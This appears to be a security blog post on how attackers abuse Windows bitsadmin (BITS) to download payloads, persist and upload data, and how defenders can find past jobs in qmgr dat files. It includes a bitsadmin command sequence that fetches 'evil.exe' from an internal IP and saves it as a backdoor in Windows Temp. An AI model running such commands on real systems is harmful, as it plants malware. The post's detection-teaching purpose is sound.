Background Intelligent Transfer Service (BITS) is a built-in Windows service used for file transfers. BITS takes available network resources into consideration to lessen the impact on the end user experience. Many popular applications use BITS to download updates in the background, including Windows updates.
Bitsadmin.exe is a command line tool used to interact with BITS. There are also a few PowerShell cmdlets that work with BITS, but this post will stick with bitsadmin. Personally, I view bitsadmin as a somewhat Windows equivalent of wget in Linux (with a bit more required switches).
Attacking with bitsadmin
Using bitsadmin to retrieve malicious files isn’t a new technique. It’s been used in popular malware campaigns which make use of living off the land techniques. An attacker could run a simple bitsadmin job to retrieve needed payloads on a remote server.
Notice how a job name and destination file name is required. You can also create a job in multiple lines with a variety of different flags. The basic command flow to download a remote file may look something like this.
# create a job named evilBackdoor bitsadmin /create evilBackdoor # Add remote exe to job evilBackdoor bitsadmin /addfile eviBackdoor http://172.20.0.2/evil.exe C:\Windows\Temp\backdoor.exe # Start the job transfer (resume is sort of misleading) bitsadmin /resume evilBackdoor # End the job bitsadmin /complete evilBackdoor
Note that the transfer may download the file completely, but a few remnants will remain until the /complete switch is executed. Since the job isn’t in a “completed” state, the exe will just be a .tmp file.
The job details will also still be visible if a user lists the bitsadmin jobs via the /list switch. This is a useful quick command to check for all active (persistence) BITS jobs. Again, if the job has been passed the /complete flag, it wont’ show up here.
If you’re experimenting with bitsadmin and you want to remove jobs, you can clear out all jobs by running
bitsadmin /Reset /AllUsers.
Persistence & Exfiltration
There area few examples in the wild that use bitsadmin chained with other LOLBins to maintain persistence - checkout the resources below for more info. Another capability of bitsadmin is uploading. If you have access to a network share you can add the /upload switch to utilize SMB file transfer.
Detecting BITS usage can be a little tricky for the average defender. How would and administrator/defender detect BITS usage if the job has been /complete? Besides implementing AppLocker rules, syslog configs, alerts, etc, you can view a local DAT file that stores previously ran BITS jobs. Windows stores these entries in qmgr0.dat and qmgr1.dat located in:
In order to view these dat files, you’ll need a hex editor. Some can be large without a whole lot of nothing, so you’ll need to search specific hex values. A quick string to use in HxD is http which is
68 00 74 00 74 00 70. The entries should give enough insight into the source and destination addresses along with the file name.
Typical entries will be from Microsoft (updates and font), Chrome, Adobe and similar apps. Be sure to verify the domain name isn’t spelled funny to seem legit. The screen cap below shows the SMB upload entry from the prior example.
A quicker way to find BITS job entries in these dat files is to use a bits parser script. There are a few I’ve found via github and decided to go with bits_parser written in python. You’ll need python3 with pip and a few libraries installed, but spits them out into a nice csv.
UPDATE - Since writting this I create a simple BITS metadata parser written in C#. Download, compile and run.
It’s also worth noting bits jobs won’t show up on autoruns as there isn’t really a way to execute bitsadmin on startup with default functionality. A job could be continuously run, (which you’d be able to see via the /list and /verbose switches) or a job could be triggered some other way like a malicious service, schtasks, or other method that would probably show up in autoruns.
Great practical example on how to maintain persistence via bitsadmin + schtasks
POC of persistence via bitsadmin and what seems to be an ongoing job
Quick post on detection and bits_paser